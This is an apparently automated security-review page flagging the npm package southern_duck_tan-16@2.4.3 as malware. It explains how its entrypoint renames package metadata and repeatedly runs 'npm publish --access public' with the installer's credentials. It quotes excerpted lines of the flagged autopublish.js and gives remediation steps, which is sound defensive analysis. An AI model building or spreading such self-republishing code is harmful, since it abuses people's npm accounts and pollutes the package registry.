southern_duck_tan-16@2.4.3
Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish package ke npmjs.com dengan`npm publish`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil
AI Security Review
scanned 13h ago · by lpm-firewall-aiThe main entrypoint starts an unbounded publish loop that renames package metadata and publishes publicly using the caller's npm credentials. The README's manual-run instructions do not prevent this behavior when the package is imported as a dependency.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Importing the package through its main entrypoint or running autopublish.js.
Impact
Publishes package contents to publisher-chosen npm names and can misuse the user's npm publishing account.
Mechanism
Top-level code renames the package metadata, invokes `npm publish --access public`, then schedules repeated publish cycles.
Attack narrative
The package main points to autopublish.js, which starts publishing at module load. It rewrites the package name to a random generated name, publishes publicly through npm, and schedules another cycle after a delay. This uses the caller's configured npm credentials to repeatedly publish under names selected by the package.
AI rationale
The main entrypoint starts an unbounded publish loop that renames package metadata and publishes publicly using the caller's npm credentials. The README's manual-run instructions do not prevent this behavior when the package is imported as a dependency.
Evidence
package.jsonautopublish.jspackage-lock.json
Network endpoints1
npmjs.com
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json selects autopublish.js as the package main entrypoint, so importing the package runs that file.
- autopublish.js changes package.json and package-lock.json to use a randomly generated package name.
- autopublish.js runs `npm publish --access public`, using the npm CLI's configured credentials.
- After publishing, autopublish.js schedules another publish cycle; the file also starts the first cycle at top level.
Evidence against
- README.md describes running autopublish.js as a command and says to stop it with Ctrl+C.
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStrings
Source & flagged code
7 flaggedautopublish.jsView file
1const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Npm Publish Worm
Source mutates package metadata and republishes itself to npm.
autopublish.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> autopublish.js
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
autopublish.jsView on unpkg · L1Findings
2 Critical6 High1 Medium3 Low
CriticalNpm Publish Wormautopublish.js
CriticalTrigger Reachable Dangerous Capabilityautopublish.js
HighChild Processautopublish.js
HighShell
HighKnown Malware Source Fingerprint Signatureautopublish3.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceautopublish.js
HighAi Review Evidenceautopublish.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to southern_duck_tan-16@2.4.3.
See all versions of southern_duck_tan-16 for other recorded verdicts.
- Avoid installing southern_duck_tan-16@2.4.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.